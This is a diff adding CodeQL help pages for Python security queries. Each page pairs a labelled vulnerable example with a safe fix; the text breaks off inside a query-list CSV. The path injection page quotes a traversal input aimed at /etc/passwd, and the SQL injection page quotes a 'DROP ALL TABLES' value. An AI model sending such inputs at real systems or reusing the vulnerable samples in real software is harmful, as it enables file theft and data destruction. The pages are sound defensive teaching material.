[tempfile.mktemp](https://docs.python.org/3/library/tempfile.html#tempfile.mktemp). +* Common Weakness Enumeration: [CWE-377](https://cwe.mitre.org/data/definitions/377.html). \ No newline at end of file diff --git a/docs/language/query-help/python/Jinja2WithoutEscaping.md b/docs/language/query-help/python/Jinja2WithoutEscaping.md new file mode 100644 index 00000000000..679af831f05 --- /dev/null +++ b/docs/language/query-help/python/Jinja2WithoutEscaping.md @@ -0,0 +1,59 @@ +# Jinja2 templating with autoescape=False + +``` +ID: py/jinja2/autoescape-false +Kind: problem +Severity: error +Precision: medium +Tags: security external/cwe/cwe-079 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CWE-079/Jinja2WithoutEscaping.ql) + +Cross-site scripting (XSS) attacks can occur if untrusted input is not escaped. This applies to templates as well as code. The `jinja2` templates may be vulnerable to XSS if the environment has `autoescape` set to `False`. Unfortunately, `jinja2` sets `autoescape` to `False` by default. Explicitly setting `autoescape` to `True` when creating an `Environment` object will prevent this. + + +## Recommendation +Avoid setting jinja2 autoescape to False. Jinja2 provides the function `select_autoescape` to make sure that the correct auto-escaping is chosen. For example, it can be used when creating an environment `Environment(autoescape=select_autoescape(['html', 'xml'])` + + +## Example +The following example is a minimal Flask app which shows a safe and an unsafe way to render the given name back to the page. The first view is unsafe as `first_name` is not escaped, leaving the page vulnerable to cross-site scripting attacks. The second view is safe as `first_name` is escaped, so it is not vulnerable to cross-site scripting attacks. + + +```python +from flask import Flask, request, make_response, escape +from jinja2 import Environment, select_autoescape, FileSystemLoader + +app = Flask(__name__) +loader = FileSystemLoader( searchpath="templates/" ) + +unsafe_env = Environment(loader=loader) +safe1_env = Environment(loader=loader, autoescape=True) +safe2_env = Environment(loader=loader, autoescape=select_autoescape()) + +def render_response_from_env(env): + name = request.args.get('name', '') + template = env.get_template('template.html') + return make_response(template.render(name=name)) + +@app.route('/unsafe') +def unsafe(): + return render_response_from_env(unsafe_env) + +@app.route('/safe1') +def safe1(): + return render_response_from_env(safe1_env) + +@app.route('/safe2') +def safe2(): + return render_response_from_env(safe2_env) + + +``` + +## References +* Jinja2: [API](http://jinja.pocoo.org/docs/2.10/api/). +* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting). +* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html). +* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html). \ No newline at end of file diff --git a/docs/language/query-help/python/MissingHostKeyValidation.md b/docs/language/query-help/python/MissingHostKeyValidation.md new file mode 100644 index 00000000000..5e7e9cd2d4c --- /dev/null +++ b/docs/language/query-help/python/MissingHostKeyValidation.md @@ -0,0 +1,49 @@ +# Accepting unknown SSH host keys when using Paramiko + +``` +ID: py/paramiko-missing-host-key-validation +Kind: problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-295 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CWE-295/MissingHostKeyValidation.ql) + +In the Secure Shell (SSH) protocol, host keys are used to verify the identity of remote hosts. Accepting unknown host keys may leave the connection open to man-in-the-middle attacks. + + +## Recommendation +Do not accept unknown host keys. In particular, do not set the default missing host key policy for the Paramiko library to either `AutoAddPolicy` or `WarningPolicy`. Both of these policies continue even when the host key is unknown. The default setting of `RejectPolicy` is secure because it throws an exception when it encounters an unknown host key. + + +## Example +The following example shows two ways of opening an SSH connection to `example.com`. The first function sets the missing host key policy to `AutoAddPolicy`. If the host key verification fails, the client will continue to interact with the server, even though the connection may be compromised. The second function sets the host key policy to `RejectPolicy`, and will throw an exception if the host key verification fails. + + +```python +from paramiko.client import SSHClient, AutoAddPolicy, RejectPolicy + +def unsafe_connect(): + client = SSHClient() + client.set_missing_host_key_policy(AutoAddPolicy) + client.connect("example.com") + + # ... interaction with server + + client.close() + +def safe_connect(): + client = SSHClient() + client.set_missing_host_key_policy(RejectPolicy) + client.connect("example.com") + + # ... interaction with server + + client.close() + +``` + +## References +* Paramiko documentation: [set_missing_host_key_policy](http://docs.paramiko.org/en/2.4/api/client.html?highlight=set_missing_host_key_policy#paramiko.client.SSHClient.set_missing_host_key_policy). +* Common Weakness Enumeration: [CWE-295](https://cwe.mitre.org/data/definitions/295.html). \ No newline at end of file diff --git a/docs/language/query-help/python/PathInjection.md b/docs/language/query-help/python/PathInjection.md new file mode 100644 index 00000000000..779888e6796 --- /dev/null +++ b/docs/language/query-help/python/PathInjection.md @@ -0,0 +1,81 @@ +# Uncontrolled data used in path expression + +``` +ID: py/path-injection +Kind: path-problem +Severity: error +Precision: high +Tags: correctness security external/owasp/owasp-a1 external/cwe/cwe-022 external/cwe/cwe-023 external/cwe/cwe-036 external/cwe/cwe-073 external/cwe/cwe-099 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CWE-022/PathInjection.ql) + +Accessing files using paths constructed from user-controlled data can allow an attacker to access unexpected resources. This can result in sensitive information being revealed or deleted, or an attacker being able to influence behavior by modifying unexpected files. + + +## Recommendation +Validate user input before using it to construct a file path, either using an off-the-shelf library function like `werkzeug.utils.secure_filename`, or by performing custom validation. + +Ideally, follow these rules: + +* Do not allow more than a single "." character. +* Do not allow directory separators such as "/" or "\" (depending on the file system). +* Do not rely on simply replacing problematic sequences such as "../". For example, after applying this filter to ".../...//", the resulting string would still be "../". +* Use an allowlist of known good patterns. + +## Example +In the first example, a file name is read from an HTTP request and then used to access a file. However, a malicious user could enter a file name that is an absolute path, such as `"/etc/passwd"`. + +In the second example, it appears that the user is restricted to opening a file within the `"user"` home directory. However, a malicious user could enter a file name containing special characters. For example, the string `"../../../etc/passwd"` will result in the code reading the file located at `"/server/static/images/../../../etc/passwd"`, which is the system's password file. This file would then be sent back to the user, giving them access to all the system's passwords. + +In the third example, the path used to access the file system is normalized *before* being checked against a known prefix. This ensures that regardless of the user input, the resulting path is safe. + + +```python +import os.path + + +urlpatterns = [ + # Route to user_picture + url(r'^user-pic1$', user_picture1, name='user-picture1'), + url(r'^user-pic2$', user_picture2, name='user-picture2'), + url(r'^user-pic3$', user_picture3, name='user-picture3') +] + + +def user_picture1(request): + """A view that is vulnerable to malicious file access.""" + filename = request.GET.get('p') + # BAD: This could read any file on the file system + data = open(filename, 'rb').read() + return HttpResponse(data) + +def user_picture2(request): + """A view that is vulnerable to malicious file access.""" + base_path = '/server/static/images' + filename = request.GET.get('p') + # BAD: This could still read any file on the file system + data = open(os.path.join(base_path, filename), 'rb').read() + return HttpResponse(data) + +def user_picture3(request): + """A view that is not vulnerable to malicious file access.""" + base_path = '/server/static/images' + filename = request.GET.get('p') + #GOOD -- Verify with normalised version of path + fullpath = os.path.normpath(os.path.join(base_path, filename)) + if not fullpath.startswith(base_path): + raise SecurityException() + data = open(fullpath, 'rb').read() + return HttpResponse(data) + +``` + +## References +* OWASP: [Path Traversal](https://www.owasp.org/index.php/Path_traversal). +* npm: [werkzeug.utils.secure_filename](http://werkzeug.pocoo.org/docs/utils/#werkzeug.utils.secure_filename). +* Common Weakness Enumeration: [CWE-22](https://cwe.mitre.org/data/definitions/22.html). +* Common Weakness Enumeration: [CWE-23](https://cwe.mitre.org/data/definitions/23.html). +* Common Weakness Enumeration: [CWE-36](https://cwe.mitre.org/data/definitions/36.html). +* Common Weakness Enumeration: [CWE-73](https://cwe.mitre.org/data/definitions/73.html). +* Common Weakness Enumeration: [CWE-99](https://cwe.mitre.org/data/definitions/99.html). \ No newline at end of file diff --git a/docs/language/query-help/python/ReflectedXss.md b/docs/language/query-help/python/ReflectedXss.md new file mode 100644 index 00000000000..e93e6cc8f9c --- /dev/null +++ b/docs/language/query-help/python/ReflectedXss.md @@ -0,0 +1,46 @@ +# Reflected server-side cross-site scripting + +``` +ID: py/reflective-xss +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-079 external/cwe/cwe-116 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CWE-079/ReflectedXss.ql) + +Directly writing user input (for example, an HTTP request parameter) to a webpage without properly sanitizing the input first, allows for a cross-site scripting vulnerability. + + +## Recommendation +To guard against cross-site scripting, consider escaping the input before writing user input to the page. The standard library provides escaping functions: `html.escape()` for Python 3.2 upwards or `cgi.escape()` older versions of Python. Most frameworks also provide their own escaping functions, for example `flask.escape()`. + + +## Example +The following example is a minimal flask app which shows a safe and unsafe way to render the given name back to the page. The first view is unsafe as `first_name` is not escaped, leaving the page vulnerable to cross-site scripting attacks. The second view is safe as `first_name` is escaped, so it is not vulnerable to cross-site scripting attacks. + + +```python +from flask import Flask, request, make_response, escape + +app = Flask(__name__) + +@app.route('/unsafe') +def unsafe(): + first_name = request.args.get('name', '') + return make_response("Your name is " + first_name) + +@app.route('/safe') +def safe(): + first_name = request.args.get('name', '') + return make_response("Your name is " + escape(first_name)) + +``` + +## References +* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html). +* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting). +* Python Library Reference: [html.escape()](https://docs.python.org/3/library/html.html#html.escape). +* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html). +* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html). \ No newline at end of file diff --git a/docs/language/query-help/python/RequestWithoutValidation.md b/docs/language/query-help/python/RequestWithoutValidation.md new file mode 100644 index 00000000000..b43b8c1d784 --- /dev/null +++ b/docs/language/query-help/python/RequestWithoutValidation.md @@ -0,0 +1,49 @@ +# Request without certificate validation + +``` +ID: py/request-without-cert-validation +Kind: problem +Severity: error +Precision: medium +Tags: security external/cwe/cwe-295 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CWE-295/RequestWithoutValidation.ql) + +Encryption is key to the security of most, if not all, online communication. Using Transport Layer Security (TLS) can ensure that communication cannot be interrupted by an interloper. For this reason, is is unwise to disable the verification that TLS provides. Functions in the `requests` module provide verification by default, and it is only when explicitly turned off using `verify=False` that no verification occurs. + + +## Recommendation +Never use `verify=False` when making a request. + + +## Example +The example shows two unsafe calls to [semmle.com](https://semmle.com), followed by various safe alternatives. + + +```python +import requests + +#Unsafe requests + +requests.get('https://semmle.com', verify=False) # UNSAFE +requests.get('https://semmle.com', verify=0) # UNSAFE + +#Various safe options + +requests.get('https://semmle.com', verify=True) # Explicitly safe +requests.get('https://semmle.com', verify="/path/to/cert/") +requests.get('https://semmle.com') # The default is to verify. + +#Wrapper to ensure safety + +def make_safe_request(url, verify_cert): + if not verify_cert: + raise Exception("Trying to make unsafe request") + return requests.get(url, verify_cert) + +``` + +## References +* Python requests documentation: [SSL Cert Verification](http://docs.python-requests.org/en/master/user/advanced/#ssl-cert-verification). +* Common Weakness Enumeration: [CWE-295](https://cwe.mitre.org/data/definitions/295.html). \ No newline at end of file diff --git a/docs/language/query-help/python/SqlInjection.md b/docs/language/query-help/python/SqlInjection.md new file mode 100644 index 00000000000..f51e97e3f5a --- /dev/null +++ b/docs/language/query-help/python/SqlInjection.md @@ -0,0 +1,56 @@ +# SQL query built from user-controlled sources + +``` +ID: py/sql-injection +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-089 external/owasp/owasp-a1 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CWE-089/SqlInjection.ql) + +If a database query (such as a SQL or NoSQL query) is built from user-provided data without sufficient sanitization, a user may be able to run malicious database queries. + + +## Recommendation +Most database connector libraries offer a way of safely embedding untrusted data into a query by means of query parameters or prepared statements. + + +## Example +In the following snippet, a user is fetched from the database using three different queries. + +In the first case, the query string is built by directly using string formatting from a user-supplied request parameter. The parameter may include quote characters, so this code is vulnerable to a SQL injection attack. + +In the second case, the user-supplied request attribute is passed to the database using query parameters. The database connector library will take care of escaping and inserting quotes as needed. + +In the third case, the placeholder in the SQL string has been manually quoted. Since most databaseconnector libraries will insert their own quotes, doing so yourself will make the code vulnerable to SQL injection attacks. In this example, if `username` was `; DROP ALL TABLES -- `, the final SQL query would be `SELECT * FROM users WHERE username = ''; DROP ALL TABLES -- ''` + + +```python +from django.conf.urls import url +from django.db import connection + + +def show_user(request, username): + with connection.cursor() as cursor: + # BAD -- Using string formatting + cursor.execute("SELECT * FROM users WHERE username = '%s'" % username) + user = cursor.fetchone() + + # GOOD -- Using parameters + cursor.execute("SELECT * FROM users WHERE username = %s", username) + user = cursor.fetchone() + + # BAD -- Manually quoting placeholder (%s) + cursor.execute("SELECT * FROM users WHERE username = '%s'", username) + user = cursor.fetchone() + +urlpatterns = [url(r'^users/(?P[^/]+)$', show_user)] + +``` + +## References +* Wikipedia: [SQL injection](https://en.wikipedia.org/wiki/SQL_injection). +* OWASP: [SQL Injection Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html). +* Common Weakness Enumeration: [CWE-89](https://cwe.mitre.org/data/definitions/89.html). \ No newline at end of file diff --git a/docs/language/query-help/python/StackTraceExposure.md b/docs/language/query-help/python/StackTraceExposure.md new file mode 100644 index 00000000000..870358de269 --- /dev/null +++ b/docs/language/query-help/python/StackTraceExposure.md @@ -0,0 +1,58 @@ +# Information exposure through an exception + +``` +ID: py/stack-trace-exposure +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-209 external/cwe/cwe-497 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CWE-209/StackTraceExposure.ql) + +Software developers often add stack traces to error messages, as a debugging aid. Whenever that error message occurs for an end user, the developer can use the stack trace to help identify how to fix the problem. In particular, stack traces can tell the developer more about the sequence of events that led to a failure, as opposed to merely the final state of the software when the error occurred. + +Unfortunately, the same information can be useful to an attacker. The sequence of class names in a stack trace can reveal the structure of the application as well as any internal components it relies on. Furthermore, the error message at the top of a stack trace can include information such as server-side file names and SQL code that the application relies on, allowing an attacker to fine-tune a subsequent injection attack. + + +## Recommendation +Send the user a more generic error message that reveals less information. Either suppress the stack trace entirely, or log it only on the server. + + +## Example +In the following example, an exception is handled in two different ways. In the first version, labeled BAD, the exception is sent back to the remote user by returning it from the function. As such, the user is able to see a detailed stack trace, which may contain sensitive information. In the second version, the error message is logged only on the server, and a generic error message is displayed to the user. That way, the developers can still access and use the error log, but remote users will not see the information. + + +```python +from flask import Flask +app = Flask(__name__) + + +import traceback + +def do_computation(): + raise Exception("Secret info") + +# BAD +@app.route('/bad') +def server_bad(): + try: + do_computation() + except Exception as e: + return traceback.format_exc() + +# GOOD +@app.route('/good') +def server_good(): + try: + do_computation() + except Exception as e: + log(traceback.format_exc()) + return "An internal error has occurred!" + +``` + +## References +* OWASP: [Information Leak](https://www.owasp.org/index.php/Information_Leak_(information_disclosure)). +* Common Weakness Enumeration: [CWE-209](https://cwe.mitre.org/data/definitions/209.html). +* Common Weakness Enumeration: [CWE-497](https://cwe.mitre.org/data/definitions/497.html). \ No newline at end of file diff --git a/docs/language/query-help/python/TarSlip.md b/docs/language/query-help/python/TarSlip.md new file mode 100644 index 00000000000..49302e266e7 --- /dev/null +++ b/docs/language/query-help/python/TarSlip.md @@ -0,0 +1,62 @@ +# Arbitrary file write during tarfile extraction + +``` +ID: py/tarslip +Kind: path-problem +Severity: error +Precision: medium +Tags: security external/cwe/cwe-022 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CWE-022/TarSlip.ql) + +Extracting files from a malicious tar archive without validating that the destination file path is within the destination directory can cause files outside the destination directory to be overwritten, due to the possible presence of directory traversal elements (`..`) in archive paths. + +Tar archives contain archive entries representing each file in the archive. These entries include a file path for the entry, but these file paths are not restricted and may contain unexpected special elements such as the directory traversal element (`..`). If these file paths are used to determine an output file to write the contents of the archive item to, then the file may be written to an unexpected location. This can result in sensitive information being revealed or deleted, or an attacker being able to influence behavior by modifying unexpected files. + +For example, if a tar archive contains a file entry `..\sneaky-file`, and the tar archive is extracted to the directory `c:\output`, then naively combining the paths would result in an output file path of `c:\output\..\sneaky-file`, which would cause the file to be written to `c:\sneaky-file`. + + +## Recommendation +Ensure that output paths constructed from tar archive entries are validated to prevent writing files to unexpected locations. + +The recommended way of writing an output file from a tar archive entry is to check that `".."` does not occur in the path. + + +## Example +In this example an archive is extracted without validating file paths. If `archive.tar` contained relative paths (for instance, if it were created by something like `tar -cf archive.tar ../file.txt`) then executing this code could write to locations outside the destination directory. + + +```python + +import tarfile + +with tarfile.open('archive.zip') as tar: + #BAD : This could write any file on the filesystem. + for entry in tar: + tar.extract(entry, "/tmp/unpack/") + +``` +To fix this vulnerability, we need to check that the path does not contain any `".."` elements in it. + + +```python + +import tarfile +import os.path + +with tarfile.open('archive.zip') as tar: + for entry in tar: + #GOOD: Check that entry is safe + if os.path.isabs(entry.name) or ".." in entry.name: + raise ValueError("Illegal tar archive entry") + tar.extract(entry, "/tmp/unpack/") + +``` + +## References +* Snyk: [Zip Slip Vulnerability](https://snyk.io/research/zip-slip-vulnerability). +* OWASP: [Path Traversal](https://www.owasp.org/index.php/Path_traversal). +* Python Library Reference: [TarFile.extract](https://docs.python.org/3/library/tarfile.html#tarfile.TarFile.extract). +* Python Library Reference: [TarFile.extractall](https://docs.python.org/3/library/tarfile.html#tarfile.TarFile.extractall). +* Common Weakness Enumeration: [CWE-22](https://cwe.mitre.org/data/definitions/22.html). \ No newline at end of file diff --git a/docs/language/query-help/python/UnsafeDeserialization.md b/docs/language/query-help/python/UnsafeDeserialization.md new file mode 100644 index 00000000000..fa1ef536279 --- /dev/null +++ b/docs/language/query-help/python/UnsafeDeserialization.md @@ -0,0 +1,59 @@ +# Deserializing untrusted input + +``` +ID: py/unsafe-deserialization +Kind: path-problem +Severity: error +Precision: high +Tags: external/cwe/cwe-502 security serialization + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CWE-502/UnsafeDeserialization.ql) + +Deserializing untrusted data using any deserialization framework that allows the construction of arbitrary serializable objects is easily exploitable and in many cases allows an attacker to execute arbitrary code. Even before a deserialized object is returned to the caller of a deserialization method a lot of code may have been executed, including static initializers, constructors, and finalizers. Automatic deserialization of fields means that an attacker may craft a nested combination of objects on which the executed initialization code may have unforeseen effects, such as the execution of arbitrary code. + +There are many different serialization frameworks. This query currently supports Pickle, Marshal and Yaml. + + +## Recommendation +Avoid deserialization of untrusted data if at all possible. If the architecture permits it then use other formats instead of serialized objects, for example JSON. + + +## Example +The following example calls `pickle.loads` directly on a value provided by an incoming HTTP request. Pickle then creates a new value from untrusted data, and is therefore inherently unsafe. + + +```python + +from django.conf.urls import url +import pickle + +def unsafe(pickled): + return pickle.loads(pickled) + +urlpatterns = [ + url(r'^(?P.*)$', unsafe) +] +``` +Changing the code to use `json.loads` instead of `pickle.loads` removes the vulnerability. + + +```python + +from django.conf.urls import url +import json + +def safe(pickled): + return json.loads(pickled) + +urlpatterns = [ + url(r'^(?P.*)$', safe) +] + +``` + +## References +* OWASP vulnerability description: [Deserialization of untrusted data](https://www.owasp.org/index.php/Deserialization_of_untrusted_data). +* OWASP guidance on deserializing objects: [Deserialization Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html). +* Talks by Chris Frohoff & Gabriel Lawrence: [ AppSecCali 2015: Marshalling Pickles - how deserializing objects will ruin your day](http://frohoff.github.io/appseccali-marshalling-pickles/) +* Common Weakness Enumeration: [CWE-502](https://cwe.mitre.org/data/definitions/502.html). \ No newline at end of file diff --git a/docs/language/query-help/python/UrlRedirect.md b/docs/language/query-help/python/UrlRedirect.md new file mode 100644 index 00000000000..46acb9427a6 --- /dev/null +++ b/docs/language/query-help/python/UrlRedirect.md @@ -0,0 +1,57 @@ +# URL redirection from remote source + +``` +ID: py/url-redirection +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-601 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CWE-601/UrlRedirect.ql) + +Directly incorporating user input into a URL redirect request without validating the input can facilitate phishing attacks. In these attacks, unsuspecting users can be redirected to a malicious site that looks very similar to the real site they intend to visit, but which is controlled by the attacker. + + +## Recommendation +To guard against untrusted URL redirection, it is advisable to avoid putting user input directly into a redirect URL. Instead, maintain a list of authorized redirects on the server; then choose from that list based on the user input provided. + + +## Example +The following example shows an HTTP request parameter being used directly in a URL redirect without validating the input, which facilitates phishing attacks: + + +```python +from flask import Flask, request, redirect + +app = Flask(__name__) + +@app.route('/') +def hello(): + target = request.args.get('target', '') + return redirect(target, code=302) + +``` +One way to remedy the problem is to validate the user input against a known fixed string before doing the redirection: + + +```python +from flask import Flask, request, redirect + +VALID_REDIRECT = "http://cwe.mitre.org/data/definitions/601.html" + +app = Flask(__name__) + +@app.route('/') +def hello(): + target = request.args.get('target', '') + if target == VALID_REDIRECT: + return redirect(target, code=302) + else: + ... # Error + +``` + +## References +* OWASP: [ XSS Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html). +* Common Weakness Enumeration: [CWE-601](https://cwe.mitre.org/data/definitions/601.html). \ No newline at end of file diff --git a/docs/language/query-help/python/UseofInput.md b/docs/language/query-help/python/UseofInput.md new file mode 100644 index 00000000000..aa92bf56fee --- /dev/null +++ b/docs/language/query-help/python/UseofInput.md @@ -0,0 +1,22 @@ +# 'input' function used in Python 2 + +``` +ID: py/use-of-input +Kind: problem +Severity: error +Precision: high +Tags: security correctness + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Expressions/UseofInput.ql) + +In Python 2, a call to the `input()` function, `input(prompt)` is equivalent to `eval(raw_input(prompt))`. Evaluating user input without any checking can be a serious security flaw. + + +## Recommendation +Get user input with `raw_input(prompt)` and then validate that input before evaluating. If the expected input is a number or string, then `ast.literal_eval()` can always be used safely. + + +## References +* Python Standard Library: [input](http://docs.python.org/2/library/functions.html#input), [ast.literal_eval](http://docs.python.org/2/library/ast.html#ast.literal_eval). +* Wikipedia: [Data validation](http://en.wikipedia.org/wiki/Data_validation). \ No newline at end of file diff --git a/docs/language/query-help/python/WeakCrypto.md b/docs/language/query-help/python/WeakCrypto.md new file mode 100644 index 00000000000..27b8e1980cd --- /dev/null +++ b/docs/language/query-help/python/WeakCrypto.md @@ -0,0 +1,28 @@ +# Use of weak cryptographic key + +``` +ID: py/weak-crypto-key +Kind: problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-326 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CWE-326/WeakCrypto.ql) + +Modern encryption relies on it being computationally infeasible to break the cipher and decode a message without the key. As computational power increases, the ability to break ciphers grows and keys need to become larger. + +The three main asymmetric key algorithms currently in use are Rivest–Shamir–Adleman (RSA) cryptography, Digital Signature Algorithm (DSA), and Elliptic-curve cryptography (ECC). With current technology, key sizes of 2048 bits for RSA and DSA, or 224 bits for ECC, are regarded as unbreakable. + + +## Recommendation +Increase the key size to the recommended amount or larger. For RSA or DSA this is at least 2048 bits, for ECC this is at least 224 bits. + + +## References +* Wikipedia: [Digital Signature Algorithm](https://en.wikipedia.org/wiki/Digital_Signature_Algorithm). +* Wikipedia: [RSA cryptosystem](https://en.wikipedia.org/wiki/RSA_(cryptosystem)). +* Wikipedia: [Elliptic-curve cryptography](https://en.wikipedia.org/wiki/Elliptic-curve_cryptography). +* Python cryptography module: [cryptography.io](https://cryptography.io/en/latest/). +* NIST: [ Recommendation for Transitioning the Use of Cryptographic Algorithms and Key Lengths](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-131Ar1.pdf). +* Common Weakness Enumeration: [CWE-326](https://cwe.mitre.org/data/definitions/326.html). \ No newline at end of file diff --git a/docs/language/query-help/python/WeakFilePermissions.md b/docs/language/query-help/python/WeakFilePermissions.md new file mode 100644 index 00000000000..268e558dbf0 --- /dev/null +++ b/docs/language/query-help/python/WeakFilePermissions.md @@ -0,0 +1,22 @@ +# Overly permissive file permissions + +``` +ID: py/overly-permissive-file +Kind: problem +Severity: warning +Precision: medium +Tags: external/cwe/cwe-732 security + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CWE-732/WeakFilePermissions.ql) + +When creating a file, POSIX systems allow permissions to be specified for owner, group and others separately. Permissions should be kept as strict as possible, preventing access to the files contents by other users. + + +## Recommendation +Restrict the file permissions of files to prevent any but the owner being able to read or write to that file + + +## References +* Wikipedia: [File system permissions](https://en.wikipedia.org/wiki/File_system_permissions). +* Common Weakness Enumeration: [CWE-732](https://cwe.mitre.org/data/definitions/732.html). \ No newline at end of file diff --git a/docs/language/query-help/query-list.rst b/docs/language/query-help/query-list.rst new file mode 100644 index 00000000000..df99c4002f9 --- /dev/null +++ b/docs/language/query-help/query-list.rst @@ -0,0 +1,7 @@ +Code scanning query lists +========================= + +.. csv-table:: + :class: fullWidthTable + :widths: auto + :file: query-lists/query-list.csv diff --git a/docs/language/query-help/query-lists/query-list.csv b/docs/language/query-help/query-lists/query-list.csv new file mode 100644 index 00000000000..63d5fd3e231 --- /dev/null +++ b/docs/language/query-help/query-lists/query-list.csv @@ -0,0 +1,196 @@ +Query filename,Suite,Query name,Query ID,Kind,Severity,Precision,Tags +ql\cpp\ql\src\Critical\NewFreeMismatch.ql,code-scanning,Mismatching new/free or malloc/delete,cpp/new-free-mismatch,problem,warning,high,reliability security external/cwe/cwe-401 +ql\cpp\ql\src\Likely Bugs\Arithmetic\BadAdditionOverflowCheck.ql,code-scanning,Bad check for overflow of integer addition,cpp/bad-addition-overflow-check,problem,error,very-high,reliability correctness security external/cwe/cwe-190 external/cwe/cwe-192 +ql\cpp\ql\src\Likely Bugs\Arithmetic\IntMultToLong.ql,code-scanning,Multiplication result converted to larger type,cpp/integer-multiplication-cast-to-long,problem,warning,high,reliability security correctness types external/cwe/cwe-190 external/cwe/cwe-192 external/cwe/cwe-197 external/cwe/cwe-681 +ql\cpp\ql\src\Likely Bugs\Arithmetic\SignedOverflowCheck.ql,code-scanning,Signed overflow check,cpp/signed-overflow-check,problem,warning,high,correctness security +ql\cpp\ql\src\Likely Bugs\Conversion\CastArrayPointerArithmetic.ql,code-scanning,Upcast array used in pointer arithmetic,cpp/upcast-array-pointer-arithmetic,path-problem,warning,high,correctness reliability security external/cwe/cwe-119 external/cwe/cwe-843 +ql\cpp\ql\src\Likely Bugs\Format\SnprintfOverflow.ql,code-scanning,Potentially overflowing call to snprintf,cpp/overflowing-snprintf,problem,warning,high,reliability correctness security +ql\cpp\ql\src\Likely Bugs\Format\WrongNumberOfFormatArguments.ql,code-scanning,Too few arguments to formatting function,cpp/wrong-number-format-arguments,problem,error,high,reliability correctness security external/cwe/cwe-685 +ql\cpp\ql\src\Likely Bugs\Format\WrongTypeFormatArguments.ql,code-scanning,Wrong type of arguments to formatting function,cpp/wrong-type-format-argument,problem,error,high,reliability correctness security external/cwe/cwe-686 +ql\cpp\ql\src\Likely Bugs\Memory Management\AllocaInLoop.ql,code-scanning,Call to alloca in a loop,cpp/alloca-in-loop,problem,warning,high,reliability correctness security external/cwe/cwe-770 +ql\cpp\ql\src\Likely Bugs\Memory Management\PointerOverflow.ql,code-scanning,Pointer overflow check,cpp/pointer-overflow-check,problem,error,high,reliability security +ql\cpp\ql\src\Likely Bugs\Underspecified Functions\TooFewArguments.ql,code-scanning,Call to function with fewer arguments than declared parameters,cpp/too-few-arguments,problem,error,very-high,correctness maintainability security +ql\cpp\ql\src\Security\CWE\CWE-079\CgiXss.ql,code-scanning,CGI script vulnerable to cross-site scripting,cpp/cgi-xss,path-problem,error,high,security external/cwe/cwe-079 +ql\cpp\ql\src\Security\CWE\CWE-089\SqlTainted.ql,code-scanning,Uncontrolled data in SQL query,cpp/sql-injection,path-problem,error,high,security external/cwe/cwe-089 +ql\cpp\ql\src\Security\CWE\CWE-120\BadlyBoundedWrite.ql,code-scanning,Badly bounded write,cpp/badly-bounded-write,problem,error,high,reliability security external/cwe/cwe-120 external/cwe/cwe-787 external/cwe/cwe-805 +ql\cpp\ql\src\Security\CWE\CWE-131\NoSpaceForZeroTerminator.ql,code-scanning,No space for zero terminator,cpp/no-space-for-terminator,problem,error,high,reliability security external/cwe/cwe-131 external/cwe/cwe-120 external/cwe/cwe-122 +ql\cpp\ql\src\Security\CWE\CWE-134\UncontrolledFormatString.ql,code-scanning,Uncontrolled format string,cpp/tainted-format-string,path-problem,warning,high,reliability security external/cwe/cwe-134 +ql\cpp\ql\src\Security\CWE\CWE-134\UncontrolledFormatStringThroughGlobalVar.ql,code-scanning,Uncontrolled format string (through global variable),cpp/tainted-format-string-through-global,path-problem,warning,high,reliability security external/cwe/cwe-134 +ql\cpp\ql\src\Security\CWE\CWE-190\ComparisonWithWiderType.ql,code-scanning,Comparison of narrow type with wide type in loop condition,cpp/comparison-with-wider-type,problem,warning,high,reliability security external/cwe/cwe-190 external/cwe/cwe-197 external/cwe/cwe-835 +ql\cpp\ql\src\Security\CWE\CWE-190\TaintedAllocationSize.ql,code-scanning,Overflow in uncontrolled allocation size,cpp/uncontrolled-allocation-size,path-problem,error,high,reliability security external/cwe/cwe-190 +ql\cpp\ql\src\Security\CWE\CWE-253\HResultBooleanConversion.ql,code-scanning,Cast between HRESULT and a Boolean 